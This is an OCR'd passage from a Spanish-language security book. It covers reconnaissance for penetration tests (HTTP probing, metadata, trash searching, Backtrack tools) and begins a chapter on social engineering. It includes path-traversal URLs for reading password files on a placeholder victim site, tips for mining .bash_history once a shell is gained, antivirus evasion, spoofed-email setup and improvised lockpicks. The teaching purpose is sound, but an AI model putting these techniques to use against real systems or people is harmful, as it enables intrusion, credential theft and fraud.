sanal, a comparacion de los tiempos y otros recursos acotados que tienen los con-
sultores o pentesters de una organizaciéon formal. Esa es otra de las ventajas que es-
te tipo de atacantes tiene si comparamos el embate entre uno y otro.

Por tal motivo, es recomendable que las organizaciones mantengan el control de la
seguridad mediante constantes controles y chequeos, y no sélo por unica vez o de
modo acotado por lapsos horarios. Por ejemplo, una pauta con el consultor del ti-
po Penetration test de s6lo 80 horas.

En las técnicas a mano, no es recomendable guiarse el 100% en whitepapers o du-
dosos tutoriales que encontramos por ahi, sino que siempre hay que intentar algo

Programas recomendados

Como cliente de conexion del tipo telnet, SSH o rlogin, es recomendable la muy util
aplicacién SecureCRT (www.vandyke.com). Para analizar servicios disponibles en
puertos no habituales (por ejemplo SSH en el puerto 1255 ), AMAP de THC, cuyo sitio de
descarga es: http://freeworld.thc.org/thc-amap/.
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diferente. Debemos tener paciencia y utilizar la imaginacion, el sentido comun, ser
intuitivos o innovadores y cultivarnos.

Peticiones HTTP

En el chequeo de seguridad o bien en la emulacion del ataque, es vital reconocer
la importancia que tiene el generar errores y descubrir cosas ocultas en el ob-
jetivo. Muchas de éstas pueden lograrse a través del puerto 80, que es el servidor
web donde se aloja comunmente el sitio de la organizacién o un sitio que esta en
ese mismo servidor, en el que se encuentra parte de la informacién que buscamos.

Mediante una peticion http (usando el browser Internet Explorer o una linea de
comandos, por ejemplo), se puede encontrar informacién muy importante del
objetivo y llevar a cabo algunos ataques o chequeos muy interesantes. Aunque
muchos de ellos los iremos viendo en detalle a lo largo del libro, aqui mencio-
namos algunos ejemplos simples:

* Descubrir si el objetivo es vulnerable a SQL injection colocando una comilla sim-
ple en el formulario de login o string del URL.

* Buscar directorios (paths/carpetas/folders) ocultos.

* Subdominios ocultos, intranets, extranets.

* CGIs conocidos o no, XSS.

* Paths con / al final (no es lo mismo sitio.com/path que sitio.com/path/).

* Paneles de administracion web, ftp, de correo u otra aplicacion institucional o pri-
vada de desarrollo interno.

* Aplicaciones para subir (upload) archivos.

* Repositorios de archivos confidenciales o no, ocultos o no.

¢ Archivos tipicos como robots.txt, que listan paths publicos y ocultos en el servi-
dor.

* Codigo fuente de la pagina.

* Se pueden inyectar scripts remotos.

Herramienta util

CURL (http://curl.haxx.se) es una linea de comando para transferir archivos con una sinta-
xis URL, soportando FTP, FTPS, HTTP, HTTPS, SFTP, TFTP, LDAP, LDAPS . Curl soporta
certificados SSL, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies,
cookies, autentificacion user+password, file transfer resume, proxy tunneling y otros.
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¢ Se pueden inyectar comandos.

* Se pueden inyectar cookies.

* Se puede hacer un file retrieve, o extraer/leer archivos del sistema operativo.

* Se pueden traspasar directorios.

e Saltar controles de ingreso de datos con un proxy.

* Se puede reemplazar parametros del URL para generar mas errores.

* Bajar archivos binarios o de otro tipo para analizar.

* Se pueden encontrar gestores de archivos.

* Otros, como por ejemplo probar meter datos via POST dando clic en el botén
de Aceptar y luego dando Enter, viendo si hay diferencia en la comprobacion, o
hacer retrieve de alguna clave o informacién adicional.

Tengamos en cuenta que un sitio web no tiene gran importancia en principio co-
mo objetivo, a menos que el intruso sepa lo que hace y que este sitio tenga las ca-
racteristicas que vemos a continuacion:

* Que esté alojado en una red de la organizacién o bien por alli pasen todos los
e-mails de ésta (que sea simultaneamente servidor web y de correo).

* Que en ese servidor las cuentas de sistema sean similares a las de otro servidor
mas critico en otro punto de la red y aqui sea mas facil extraer las cuentas u otra
informacién para utilizar en ese otro sector.

* Que sirva de nexo para introducirse a la red interna desde el exterior (Internet).

* Que sea util como punto de captura mediante sniffers de todo lo que sale desde
la organizacion hacia Internet o que sea depdsito momentaneo de archivos ex-
traidos desde la red interna de la organizacion.

* Que también sea utilizado como servidor de spoofing/hijacking/man-in-the-
middle para acceder a recursos con determinadas reglas de acceso en la red inter-
na, o para burlar mecanismos de identificacion de intrusos si los hubiera.

Si buscamos URLSs al azar mediante Google, ademas del método de enviarlos a una
honeypot, Google podra directamente mostrarnos un aviso como el siguiente: Lo
sentimos... pero en estos momentos no podemos procesar su solicitud. Un
virus de ordenador o software espia nos esta mandando solicitudes automa-
ticas y, al parecer, su red o su equipo ha sido infectado.

Tenemos que tratar de entender como es el sistema operativo, qué errores pudo haber
cometido su administrador o programador web y prestar atencién a sus aplicaciones,
las que de ser posible, serfa buena idea probatlas antes en nuestra propia maquina. Una
excelente costumbre practica es instalarse un servidor de prueba en casa o en el traba-
jo.
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Datos en archivos binarios y otros

Los sitios de las organizaciones suelen tener en su web archivos (en formato pdf, doc,
xls 0 exe) que contienen diversa informacion, como presentaciones, brochures, tra-
bajos de las mas diversas indoles, o aplicaciones. El analisis de estos archivos puede
brindarnos algunas pistas sobre la organizacion o parte de ella. Por ejemplo, los au-
tores de esos documentos pueden ser empleados actuales que tienen una cuenta shell
en el servidor u otra terminal de la red que ya hemos mapeado e individualizado en
Internet.

Propiedades de 1- Formulario PFIP 2007.DESCRIPCIO.... [2](X]

General | Seguidad | Personalizado | Resumen |
Titulo: ormulario para la presentacién de
Asunto:

Autor: Jorge Perez

Categoria:

Palabras
clave:

Comentarios:

Opciones avanzadas >>

Metadatos. Propiedades de un archivo de Word bajado de un sitio, cuyo autor
es un componente de la supuesta organizacion objetivo y, probablemente, tenga
una cuenta llamada jperez en algln servidor, terminal o aplicacion de la compafiia.

El mismo tipo de analisis puede llevarse a cabo en archivos binarios del tipo .exe ya
que éstos, si estan mal disefiados o protegidos, nos daran algin path, cuenta de usua-
rio, o bien pistas sobre el autor o quién lo desarrollo y la plataforma de su terminal.

Herramientas para extraer y analizar metadata

Algunas herramientas para llevar a cabo el analisis de los datos de los archivos pue-
den ser encontradas buscandolas bajo el término metadata extractor en Google o bien
en direcciones como www.edge-security.com/metagoofil.php, www.remote-exploi-
t.org/codes_wyd.html y www.datarescue.com/idabase/index.htm.
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Information Gathering en la vida real.

Si el intruso es muy perseverante o hace uso de técnicas exhaustivas, tratara de ob-
tener datos de la organizaciéon en medios, lugares y recursos de la vida real. Esto
significa que lo hara fuera de Internet o bien utilizando tecnologia basada en ésta,
pero llevada al contexto fisico y cercano del objetivo. I.a mas comun es:

* Buscar datos de la organizacion o componentes de ella en periddicos, revistas, ca-
talogos e impresos de todo tipo. Consultar en la biblioteca u otros centros de in-
formacion archivada en papel o microfilm.

* Llamar por teléfono. No necesariamente haciendo Ingenierfa Social. Se puede 1la-
mar y preguntar datos concretos, directos.

* Enviar correo ordinario postal con consultas o recursos para obtener informa-
ci6on mediante malware u otra técnica.

* Visitar en persona la organizacion.

* Revisar la basura (trashing) para encontrar impresos descartados, CD rayados (és-
tos se leen facilmente con el software AnyReader), buscar impresiones trituradas
en tiras (son facilmente recuperables con algo de paciencia y una pinza del tipo
para depilacion), anotaciones con passwords o correos, membretes de la organi-
zacion, politicas y un sin fin de material desechado que puede ofrecer distinto ti-
po de informacién acerca del objetivo.

¢ Instalar uno o varios nodos wireless cerca de la organizacion para que sea utiliza-
do por los empleados con notebooks y que asi puedan ser snifeados, como tam-
bién otras técnicas mas directas y menos pasivas como el wardriving (accion de
detectar redes inalambricas inseguras, recorriendo la ciudad o el barrio con las he-
rramientas adecuadas), comprometiendo o analizando recursos WiFi.

Analisis de cabeceras http

Desde www.rexswain.com/httpview.html podremos analizar las cabeceras http de los
hosts remotamente, entre otros datos. En el documento que se ofrece para su lectura en
la direccién www.uoc.edu/masters/esp/img/873.pdf, encontraremos mucha informacién
acerca de las solicitudes http y su entorno en aplicaciones, desarrollo y motores.
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%% Any Reader

AnyReuder Step 1 of 5: Select mode

() Copy files from the damaged disk
Copy files from dizks with problems such as bad sectaors, scratches or that just give errors
when reading data

(%) Copy files across the non-stable network
Copy files using resumed downloads from the remote PC if connection was broken during
the copy process [especially uzeful for unreliable \Wi-Fi networks).

O Split files
Split several incomplete file pieces together.

i Click Mext ta continue. .

wiyanyreader.comm [ < Back ” Mext » ][ Cloze ” Help

Anyreader. Aplicacion que puede extraer informacion de discos
dafiados (CD, DVD, disquette, unidad de red con transferencia inconsistente).
Muy atil a la hora de extraer datos de unidades descartadas a la basura.

¢ Otros métodos: suelen ser utilizados por miembros de organismos de seguridad u
organizaciones informales con recursos de alta tecnologfa, como la intercepcion de
teléfonos de linea y celulares, intercepcion de radiacién de monitores via eavesdrop-
ping (esta técnica es utilizada para ver, a la distancia, aquello que hay en un monitor
a través de la radiacion de este), escuchas a distancia, infiltrar personal en la organi-
zacion o bien relacionarse con empleados de ésta en otros ambitos, entre otras co-
sas.

La técnica Ingenieria Social es la mas comun de utilizar en la vida real para obtener
datos o comprometer facilmente recursos ligados al sistema. Los detalles de esta

Anécdota

Hace un tiempo, reporté una falla en un portal laboral en el que habia 46.000 curriculum
vitae listos para ser bajados con un simple script. El error era de programacion ya que, una
vez logueado con un usuario legitimo, si uno reemplazaba el userlD por otro userID (en la
URL ligada a la seccion edicion del CV, directamente se pasaba a editar el CV ajeno.
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técnica los veremos en el proximo capitulo.

Utilidades IG de Backtrack 2.0

Backtrack (www.remote-exploit.org/backtrack.html) es una distribuciéon Li-
veCD de Linux, lo que significa que no hace falta instalar el sistema operativo
ya que podemos correrlo directamente desde su CD o incluso desde un pendri-
ve. Es una distribucion creada en especial para quienes estan relacionados con
la seguridad informatica. De todas maneras, es recomendable testear todos los
CD de booteo orientados a seguridad. Se recomienda bajarlos siempre en sus ul-
timas versiones. Veamos brevemente las utilidades de Information Gathering
que podemos encontrar en Backtrack.

@ Ass
@ DMitry

& DNS-Ptr

(& DNS-Walk

(&> DNSBruteforce
(& DNSMap

(&> DNSPredict

& Dig

& Dns Enum

All Applications

P i = = — & Finger Google
|© Backtrack  information Gathering s Al et
. - @ Firewalk
€3 Internet » & Network Mapping
= Multimedia ) Eee L

B Editors

4 Archive
« Vulnerability Identification

&) =
. Penetration @ Google-search

»
»
Graphics » ¢ Privilege Escalation & Googrape
» & Gooscan
& Host
& Intrace
@ ltrace
& Netenum
&> Netmask
& Pirana
& Protos
& QGoogle
& Relay Scanner
@& SMTP Vrfy

o Utilities _ Maintaining Access
4w Documents » == Covering Tracks
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IG. Este CD booteable (de base Linux), que también es instalable,
posee herramientas muy Gtiles a la hora de asestar un chequeo de seguridad.

GNU/LINUX

Aunque la instalacion de los sistemas operativos GNU/Linux ya no es tan complicada como
solia ser, si queremos obtener informacion antes de llevar a cabo esta tarea y conocer mas
detalles sobre las distribuciones disponibles, podemos visitar sitios como www.debian.or-
g/releases/stable/i386, www. distrowatch.com o http://kernelfun.blogspot.com.
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Moédulo Archive
Finger Google: es una utilidad para buscar usuarios de cuenta mediante Google.
Recursos online: www.archive.org

Moédulo DNS

DNS -Ptr: realiza Querys DNS masivos sobre un rango de direcciones IP, trans-
formandolas a direcciones web en caso de que las haya.

DNS-Walk: es un DNS debugger (http://sourceforge.net/projects/dnswalk).
DNSBruteforce: se usa para realizar fuerza bruta en una resolucién de nombre
(www.revhosts.net/ DNSBruteforce).

DNSMap: otra utilidad para hacer fuerza bruta en dominios.

DNSPredict: es un script en Perl que determina nombres DNS a través de Google.
Dig: aplicacion para interrogar nombres DNS (http://linux.die.net/man/1/dig).
Dns Enum: herramienta escrita en Perl para enumerar informaciéon en un dominio
(www.filip.waeytens.easynet.be).

Host: herramienta simple para realizar DNS lookups.

Recursos online: www.dnsreport.com.

Moédulo Route

Ass: para detectar routers; soporta vatios protocolos (http://phenoelit-us.org/it-
pas/docu.html#ass).

Firewalk: determina qué protocolos pasan a través de un firewall.

Intrace: especie de traceroute.

Itrace: realiza traceroute con paquetes ICMP.

Netenum: produce listas de hosts para otros programas.

Netmask: consigue la netmask (mascara de red) a través de paquetes ICMP.
Protos: es un escaner de protocolos IP.

Tctrace: tracea (de tracear, traceroute) con paquetes TCP SYN.

Modulo SMTP
DMitry: brinda toda la informacién posible sobre un host.
Goog Mail Enum: encuentra e-mails de determinados dominios mediante Google.

Informacién Backtrack

En www.linuxhaxor.net/2007/07/22/backtrack-2-all-information-gathering-tools-re-
viewed, podemos encontrar una excelente revision de Backtrack en idioma inglésy con
pantallas. Para conocer el detalle de todas las herramientas de este CD, es posible vi-
sitar la direccion http:// backtrack.offensive-security.com/index.php?title=Tools.
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Pirana: es una plataforma para testear el filtro de contenido de un servidor de co-
rreo determinado.

Relay Scanner: es para comprobar relay abierto en servidores SMTP.

SMTP Vrfy: se utiliza para verificar la existencia de usuarios mediante fuerza bru-
ta en un servidor SMTP.

Recursos online: www.rbls.org, www.spamcop.net, www.spamhaus.org,.

Shell - DMitry

Deepmagic Information Gathering Tool
"There be some deep magic going on"

Usage: dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host
Save output to %host.txt or to file specified by -o file
Perform a whois lookup on the IP address of a host
Perform a whois lookup on the domain name of a host
Retrieve Netcraft.com information on a host
Perform a search for possible subdomains
Perform a search for possible email addresses
Perform a TCP port scan on a host
Perform a TCP port scan on a host showing output reporting filtered ports
Read in the banner received from the scanned port
* -t 0-9 Set the TTL in seconds when scanning a TCP port ( Default 2 )
*Requires the -p flagged to be passed
bt

Dimitry. Herramienta para encontrar datos online
sobre una determinada organizacion en Internet.

Moédulo Searchengine

DNSPredict: es un script en Perl que predice nombres DNS a través de Google.
Finger Google: es una utilidad para buscar usuarios de cuenta mediante Google.
Goog Mail Enum: es una utilidad que nos permite buscar usuarios de cuenta me-
diante Google y dominios.

Google-search: script para buscar en Google desde la linea de comandos.
Googrape: sirve para buscar en la Google Hacking DB.

Gooscan: se utiliza para enviar peticiones automatizadas a Google search applian-
ces.

Perfil del oficial de seguridad informatica

Si queremos obtener mas informacion sobre el perfil que debe tener un oficial de la se-
guridad informatica, en http://rfc.cudi.edu.mx/drafts/draft2.pdf, podemos leer un do-
cumento mas formal en el que se detallan algunas de las responsabilidades, habilida-
des requeridas y objetivos.
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QGoogle: realiza peticiones a Google desde python, requiere una licencia valida.
Recursos online: www.alltheweb.com, www.dogpile.com, www.google.com, www-
.google.com/help/operators.html, www.infoseck.com y www.kartoo.com.

Médulo Survey

Recursos online: www.netcraft.com.

Moébdulo Whois
Recursos online: www.afrinic.net, www.apnic.net, www.arin.net, www.internic.net,
www.lacnic.net, www.nic.ar, www.nic.uk, www.ripe.net y www.samspade.org.

Otros live Cds orientados a seguridad:

www.isafe.gt/talos.html
www.securitydistro.com
www.e-fense.com/helix
www.linux-forensics.com
www.knoppix-std.org

Analizar la informacion

El horizonte se abre como un abanico mientras mas informacién se va recopilan-
do acerca de la organizaciéon objetivo. Aun asi, el racabado de informacion sigue
mas alla de la etapa inicial, extendiéndose a cada una de las etapas posteriores del
embate. Cabe destacar que no se deja de recopilar informacién hasta que el traba-
jo se ha logrado total o parcialmente. Muchas veces, ain durante el chequeo, se si-
gue obteniendo informacién sustancial que puede llegar a darnos pistas para inten-
tar otras cosas dentro del sistema, quizas hasta replantearnos por qué sector de la
infraestructura centrar nuestro esfuerzo o bien reordenar completamente nuestra
planificacion, secuencia e intentos, a partir de alli.

SQL

SQL (Structured Query Language) es un lenguaje de programacion que permite acce-
der a bases de datos relacionales para almacenar, manipular y recuperar los datos
que se encuentran en ellas. Para obtener mas informacion sobre las caracteristicas de
este lenguaje, podemos visitar, por ejemplo, el sitio http://sql.1keydata.com/es/.
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Un claro ejemplo de esto es cuando obtenemos una shell en el servidor objetivo vy,
acto seguido, vemos el contenido de los archivos .bash_history, con todo el historial
de los comandos que ejecuto el administrador y algunos usuarios. Quiza esa informa-
cién cuente hasta con la clave root tipeada por error, o podamos ver el fichero de
configuracién de red o las conexiones establecidas con las redes y terminales inter-
nas.

Ahora bien, scomo podemos analizar la informacién obtenida previamente al
ataquer Eso es facil: una simple cuestion de analisis detallado. Preguntarse para
qué nos sirve cada dato es el primer paso. A continuaciéon veremos algunos
ejemplos de la utilidad que tiene conocer ciertos datos.

El nombre de un empleado de la organizacion: Para deducir el usuario con
cuenta shell en el sistema operativo, una cuenta de correo (u otro servicio de au-
tentificacioén), para utilizar ingenierfa social en cualquiera de sus niveles y formas,
para hacer retrieve de algin dato, ampliar el diccionario al utilizar alguna técnica de
brute force, para descubrir alguna carpeta o documento online, deducir algun pass-
word, comprometerlo para asegurarse acceso con otra identidad en el sistema, pa-
ra consultar en otros ambientes y bases de datos, etcétera.

Cuentas de emails (logins): Si éstas coinciden con el nombre de las cuentas de sis-
tema, se podran utilizar para conseguir accesos remotos a servidores o terminales.
También pueden ser utiles a la hora de conseguir informacion institucional manejada
por el usuario via e-mail o bien practicar determinado chequeo de passwords por de-
fecto.

La plataforma: Sirve para alinear el chequeo a dicha plataforma y sus posibles
descuidos, servicios y vulnerabilidades. Veamos un ejemplo muy basico del por
qué sirve conocer bien la plataforma o sistema operativo. Supongamos que en
uno de los sitios de la organizacién (nosotros no sabemos que esta corriendo so-
bre el sistema operativo FreeBSD) queremos ver si un script en PHP que esta
mal programado puede listar el contenido de su archivo (de sistema) passwd*,
ingresando este URL en el browser:

http:/ /www.sitiovictima.com/file.php?=../../../../passwd %00

Agregarle eso al file.php esta mal, porque al ser un sistema operativo FreeBSD,
su fichero passwd (tipico de Linux) se llama master.passwd, y es éste el query
(peticion http) correcto:

http:/ /www.sitiovictima.com/file.php?=../../../../master.passwd %000

La cantidad de /../ vatia segun el sistema (Directory transversal issue), la aplicacion y
el programador, al igual que el uso del caracter NULL del final %600, que puede estar o

1no.
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Un sitio web o subdominio: Para analizarlo minuciosamente en primer lugar ya
que éstos, mediante peticiones http o escaneo de vulnerabilidades y puertos, apor-
tan muchos datos importantes.

Backup online: Datos sensibles o no. Claro conocimiento de la existencia de des-
cuidos del administrador por parte del intruso. Buscara todo aquello que se inten-
te asegurar por ocultamiento.

Agentes externos (nic.ar, ISP, proveedores, clientes, etcétera): La intercepcion de
éstos puede brindar informacién muy sensible o bien, utilizable en el objetivo.
Una intranet/extranet: Extraer datos internos interesantes.

Una carpeta o archivo oculto: Puede brindar datos.

Teléfonos: Para hacer ingenierfa social.

Direcciones: Para hacer ingenierfa social, realizar IG en persona o en la cercania.
Passwords: Generar relativos comunes y probarlos en todos los servicios de au-
tentificacion.

Datos personales: Probarlos como passwords, usarlos como ingenierfa social.
Una sucursal: Buscar puntos de intercepcion en la infraestructura que va hacia la
casa matriz, ingenierfa social online o in situ.

Un server o nodo intermedio: Buscar comprometerlo para interceptar informa-
cion. Un tipo de regla de firewall o IDS: Manejarse con los protocolos debidos pa-
ra aludirlo o dejarlo sin efecto mediante la incorporaciéon o modificacion de las reglas
actuales.

Protocolos: Alinear técnicas, planeamiento y herramientas al objetivo.
Arquitecturas: Alinear técnicas, planeamiento y herramientas al objetivo.
Puertos abiertos: Extraer informacion como version, buscar determinado tipo de
servicio, vulnerabilidades existentes o posibles, generar errores.

Direccién IP: Tratar de ubicar a la red de la organizacion en Internet o algin ob-
jetivo en particular dentro de un tramado de redes internas, ya sea administrativa,
operativa, de produccion o de testeo en caso de que la tuviera.

Un nombre de host: sirve para tratar de ubicar, en un rango de IPs dinamicas, una
determinada terminal objetivo, o ubicar un sector de la organizacién (recordar las
terminales o PC llamadas Recepcion, Gerente, Notebook o Contaduria).

Clase de antivirus: Alinear binarios por ejecutar para que el motor de busqueda

E-mails sin direccidén IP

Entre los prestadores de servicios de correo electronico, podemos encontrar dos que
no dejan grabada nuestra direccion IP en la cabecera de los e-mails enviados desde su
pagina. Ellos son: Gmail (www.gmail.com] y Hushmail (www.hushmail.com). También
poseen otras interesantes funciones de seguridad.
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no los detecte o bien saber qué antivirus deshabilitar momentaneamente o directa-
mente inutilizatlo.

Un codigo fuente: De sitio institucional, de aplicacion, e-mail, etcétera.

Una version de aplicacion: Busqueda de vulnerabilidades concretas.

Unas politicas o procedimientos internos: Si éstas poseen detalles de la infraes-
tructura, la organizacion se encuentra en un grave problema porque muestran ade-
mas el proceder de ella. Generalmente, se logra comprometiendo el escenario per-
sonal de los encargados (auditores, consultores u oficiales/admins de seguridad in-
formatica). Estos suelen enviar informacién confidencial a casillas fuera de la ins-
titucion (personales) o bien almacenarlas en unidades portatiles o hosts, descentra-
lizandolas de su lugar de origen y seguridad.

La lista es tan vasta (recordemos todos los datos que podemos obtener mediante
el analisis de la cabecera del correo electronico) como la minuciosidad de quienes
realizan el chequeo, recolectando todo tipo de informacion relacionada.

Ahora bien, ;como analizaremos la informacion que vayamos consiguiendo duran-
te esa emulacion de ataque? Esto es imposible de anticipar, ya que los objetivos son
todos diferentes y hay tantas variantes o variables de escenarios (y sus componen-
tes) que se necesitarfan varios tomos solamente para dar una leve idea.

Las posibilidades, ni mas ni menos, son todas las imaginables.

De cualquier forma, se pueden prever los factores estaticos de los componentes
que conocemos de antemano. Cosas tales como que, en caso de que se logre una
cuenta shell en un servidor Linux, lo primero que tenemos que revisar son los
.bash_history, las sesiones, los procesos, y todo aquel archivo que nos dé infor-
macion sobre la red, los usuarios (passwd) y el entorno en general.

Lo recomendable, una vez comprometido el objetivo como en este caso, es anali-
zar sobre la marcha, ver si gracias a ello se puede lograr mas informaciéon (en can-
tidad e importancia) y tomarse el tiempo necesario para lograr interpretarla y darle
un cofrecto uso para continuar las siguientes etapas, si el fin asf lo demanda.

Un intruso, por ejemplo, dejara corriendo un sniffer oculto como dsniff y volve-
ra al cabo de unos dfas a ver qué informacion interesante captur6 para continuar o
replantear su intrusion. En cambio, un profesional ético debera tomar notas de to-
das las vulnerabilidades y descuidos para confeccionar un reporte detallado.

En sintesis, la informacién previa al chequeo y la obtenida durante él, son vitales y
muy relevantes.
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3 > Ingenieria
social

Ingenieria social ligada a la seguridad
de la informacidén. Veremos sus modos,
hacia quiénes va dirigida y el impacto
que llega a tener en la organizaciédn.
También conoceremos el modo en el que
se puede lidiar con este tipo de
técnicas y algunos casos reales con

ejemplos detallados.



INTRODUCCION A LA INGENIERIA SOCIAL

El hombre padece los engafios desde tiempos remotos. Desde los antiguos
mercaderes que vendian productos falsos, charlatanes de feria y hasta supuestos

alquimistas que juraban convertir el plomo en oro. También hubo muchos con
conocimientos de prestidigitacion que se hacfan pasar por magos para robar joyas;
o regalos con sorpresa como el Caballo de Troya, hasta espias de ejército en la

antigua China u otra poderosa potencia, que apelaban al engafio como recurso para

conseguir aquello que buscaban.

La ingenierfa social es un método basado en engafio y persuasion, utilizado para

obtener informacién significativa o lograr que la victima realice un determinado

Regalo. Este es el caballo de Troya
utilizado en la pelicula Troya, del afio 2004.
Gracias a este episodio histérico de guerra,
se le dio el nombre de troyanos a todos los
archivos supuestamente inofensivos que, al
ser ejecutados por el usuario, dejan una
puerta para el intruso en nuestra PC o
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acto, como por ejemplo, ejecutar un
archivo que le llegd por e-mail, que
releve su contrasefia por teléfono
cuando se la solicitan o, por dltimo, que
esta persona incida sobre otra para
enviar datos hacia un lugar determinado.
La ingenierfa social apunta a explotar el
factor humano en la infraestructura de la
organizacion (considerado por muchos
la parte mas débil del sistema) y es un
método que puede llevarse a cabo a
través de canales tecnologicos (im-
personal via Internet o teléfono) o bien
en persona, cara a cara, segun la osadia
de quien la comete o intente.

A continuaciéon, veremos los casos
tipicos de ingenierfa social a través de un
medio tecnolégico:

A. El utilizado por algunos worms msn
(como por ejemplo W32.Posse): para
lograr que nosotros hagamos click en
determinado link que nos envia a través
de un mensaje instantaneo, generado de
forma automatica. Con este fin, intenta
hacernos creer que son fotos de amigos
y asi logra infectarnos, entre otras
acciones.

B. Los conocidos casos de phishing en



los que llega un supuesto e-mail de nuestro banco para que coloquemos nuestros
datos personales o login en determinado formulario online. De esa manera, el
delincuente los graba para finalmente extraer dinero de nuestra cuenta o vender los
datos al mejor postor.

C. Las famosas postales electronicas de invitacion, saludos o amor enviadas por e-
mail que, al abrirlas, nos requieren que coloquemos nuevamente el login de nuestro
correo electronico, para ser grabado por el intruso y asi poder acceder a nuestra
cuenta. Estas se envian mediante los llamados lanzadores, desde sitios como
www.hackphreik.com o www.hackearhotmail.com, que no tienen nada que ver con
la seguridad informatica como alli dicen. Por eso, si vemos una tarjeta postal
electronica de ese estilo, no debemos dudar en ignorarla y borrarla.

Redactar « Volver a Recibidos [ Archivar | [ Marcar como spam | [ Suprimir | | Més acciones... v 1de 12 P|
Recibides iTe Invitamos a usar nuestro nuevo Gtalk! Recibidos (@ Ventana nueva
Destacados W

Chats & de Gmail.com <GMAIL@gmall.com> 17:04 Responder & Imprimir todo

Efviados para @gmail.com

Borradores fecha 31-0ct-2007 .04 Enlaces patrocinad
Todos asunto iEe Invitamos a usar nuestro nuevo Gtalk! Mensajeria instantanea
—EEE enviado por themsn.com Google ofrece gratis mensaj
Spam (4) instantanea a todos en tu d
Papelera Hola Carlos www. google.com/a
Contactos Amigos

= EineEs ) Entabla amistad: be2 te gar:

4 ta k jcontactos compatibles conf
Editar etiquetas

Gmail te quiere invitar a usar el nuevo servicio de mensajeria Gtalk E .

. . mpresa de logistica y dist

¥ Invitar a un amigo Envios y entregas en Capita

. Se trata de el nuevo servicio de mensajeria instantanea creado por Gmail Para descargarlo haz
Ofrecer Gmail a:

click en el siguiente enlace:

Gtalk de Gmail y Google descargatelo aca Hoteles en Cadiz
T Buscas hoteles en Cadiz?
Descubre este nuevo servicio para todos los usuarios de gmail y google siempre brindandote lo Compara y Reserva ahora.

2 invitaciones por conce mejor.

previsualizar invitacion
Google Talk ) EscuelaKryon

g} Seftings IQQ La Escuela del Nuevo Tiemp

para la Ascension
Gtalk. Este correo nos invita a descargar la aplicacion Gtalk, pero
en realidad es un link a un falso portal Gmail en el que se nos pedira
nuevamente nuestra contrasefia y usuario para que el intruso los obtenga facilmente.

D. Del tipo trampa, como por ejemplo que nos dejen en nuestra oficina un CD con

Libro recomendado

Existe un libro especializado en el modo de enganar: The art of deception. Sus autores
son Kevin Mitnick y William Simon. Es recomendable leer, en especial, el capitulo de las
anécdotas y las recomendaciones de politicas para asegurar la informacién. Hay una
sintesis en www.microsiervos.com/archivo/libros/the-art-of-deception.html.
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programas ejecutables infectados, haciéndolos pasar como inocentes. Por otro
lado, que nos hagan llegar un link que, a través de un sitio con XSS (cross site
scripting), al dar clic en él nos robe la cookie de sesion que esta en nuestra PC para
luego hacernos un robo de sesion. Esta técnica (que detallaremos mas adelante) es
utilizada para entrar a nuestra cuenta de webmail sin conocer la clave.

E. Casos relacionados con servicios de hosting (paginas webs): engafio al
administrador del hosting en el que el intruso pide que se le dé un espacio para
probar o comprar el servicio donde luego sube un script-shell en PHP o ASP vy,
acto seguido, puede ver los codigos fuente de otras paginas en ese mismo servidor
o proveedor, mapear su red interna e intentar otras cosas. Otro caso comun es el
de hacerse pasar por el duefo del sitio para que haga el favor de reemplazar el e-
mail de registro y reenviar la clave ftp o del panel de administracioén a esa cuenta.
Ese tipo de intenciones enganosas e induccion se conoce en la seguridad de la
informacién como ingenierfa social y puede estar dirigida hacia cualquiera de los
empleados de una organizacion, ya sea desde la primera recepcionista hasta el
gerente general o alguno de los agentes relacionados. Ahora veamos las formas
tipicas que adopta y las caracteristicas de este tipo de engafo.

El trabajo de ingenierfa social puede estar dirigido a:

* Una organizacion objetivo.

¢ Una organizacion al azar.

* Determinado empleado.

* Un grupo de empleados.

* Un usuario.

¢ Todo aquel relacionado con éstos.

El contacto realizado es hecho supuestamente por:

* Prestador/a de servicios.

¢ Conocido, amigo o pariente de alguien.
¢ Autoridad.

Paranoia improductiva

Hay quienes sugieren comportarse de modo paranoide para estar a salvo, pero eso no
es bueno. Debemos ser algo desconfiados y acatar las normas, pero no ser delirantes.
Quien esté tan dedicado a pensar en un enemigo fantasma, pondrd en riesgo el
escenario y hara perder la dindmica del sistema con medidas innecesarias y extremas.
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¢ Colega de otro sector o sucursal.
¢ Anénimo.
* Impersonalizado.

Movie. En Duro de matar 4.0, hay una escena de ingenieria
social (minuto 57) llevada a cabo para robar un auto. Luego de activar los airbargs
a golpes para que la central del sistema OnStar se comunicara, Justin
Long, interpretando a un hacker, convence a la operadora de encender el auto
con la excusa de ir a un hospital luego de colisionar. En www.onstar.com/us_spanish/
jsp/explore/onstar_basics/technology.jsp, encontramos el funcionamiento del sistema.

En modo:

¢ Casual.

* Directo: consulta inocente y tipica, haciendo firmar entrega de regalo, encuesta,
completar planillas, etcétera.

¢ Indirecto: involucrando terceros ficticios o reales sin su conocimiento.

* Trampa directa e indirecta: envio de correo con material en CD, suplantacion de
pendrive, etcétera.

¢ Invasivo: acceso a recintos, irrupcion dentro de oficina con o sin utilizaciéon de
lockpicking, instalacion de hardware espia (recolector o transmisor de datos).

Enviar e-mails spoofeados

Si deseamos probar el envio de e-mails con remitentes falsos en Windows, debemos
instalar un servidor SMTP para la PC (www.softstack.com/download/freesmtp.zip) y
crear una cuenta en Outlook en la que la configuracion de servidor smtp sera localhost
(en caso de llegar al limite de diez envios por dia, podemos cambiar la fecha).
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Lockpicking, es el arte de abrir cerraduras sin llave y sin romperlas. En la proxima
figura, podemos ver dos cerraduras tipicas, muy comunes en recintos ejecutivos

donde se guardan backups en medios 6pticos (respaldos de informacién en CD
o DVD) o legajos de papel en carpeta.

Opened. Aqui les muestro como abri manualmente dos cerraduras muy comunes. La primera
cerradura es de 4 pins, muy usada en armarios para ficheros, y la sequnda es de 3 pins,
tipica de cajoneras.

Para abrirlas, se puede utilizar un alambre acerado del interior de una escobilla
limpiaparabrisas como elemento de tension, y como ganzuia una hoja de sierra
moldeada con amoladora. Se pueden ver mas detalles acerca de esta técnica (e
interesante hobby) en www.lockpickingsport.com o www.lockpicking.es.

i

Variedad. Diferentes tipos de picks o ganzdas utilizadas para abrir cerraduras.
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A través de los medios:

¢ Cara a cara con protagonista: Mediante dialogo.

* De caracter secundario: Como empleado de correo o cadeteria.

e E-mail: Todas las formas imaginables, algunas detalladas mas adelante.
* Teléfono, impersonal: Diilogo.

* Fax: Enviando documentos con requerimientos de modificaciéon de datos (caso
